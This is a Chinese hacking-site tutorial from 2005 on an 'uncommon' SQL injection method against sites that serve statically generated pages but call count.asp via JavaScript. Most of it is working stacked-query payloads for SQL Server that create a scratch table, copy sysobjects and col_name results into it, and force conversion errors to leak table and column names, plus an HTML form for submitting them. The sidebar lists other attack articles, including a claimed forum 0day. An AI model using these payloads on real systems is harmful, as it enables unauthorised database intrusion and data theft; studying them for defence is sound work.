通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 菜鸟入门 >> 文章正文
SQL注入的不常见方法
责任编辑:admin   更新日期:2005-7-6
 
转自:http://wrsky.com/

大家在是否碰到过这样的站点:

全站文章系统采用FSO静态生成的HTML文件来显示。

这样做的好处一来可以减轻服务器负担,提高访问速度。

二来也阻止了SQL注入式的攻击。。

我来说说他们的文章系统原理:

全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。

攻击方法:

查看源文件/看里面是否有通过JS来调用的页面。

如调用<script language="javascript" src="count.asp?id=1552"></script>来更新文章的浏览次数。

我们就可以这样来试一下可否注入:

http://服务域名/count.asp?id=1552'

看一下是否出错。如出错说明有注入漏洞

然后正常攻击。

在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)

post.htm内容:主要是方便输入。

<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>

对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER

对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--

然后插入一条记录:id=1552;insert into aaa values('test');--

再之后枚举出他的数据表名:

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

这是将第一个表名更新到aaa的字段处。

id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

将 varchar 值 'vote' 转换为数据类型为 int 的列时发生语法错误。

/search.asp,行21

其中vote就是表名:

也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype='u' and status>0)的值更新到那个表的一条记录中去。通过网页显示。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

然后id=1552 and exists(select * from aaa where aaa>5)


读出第二个表,^^^^^^一个个的读出,直到没有为止。

读字段是这样:

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

……类推

明白了吗?不明白之处到论坛提出吧。。希望通过此文能给朋友们提供一种思路。也给网站程序员一个警示。
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题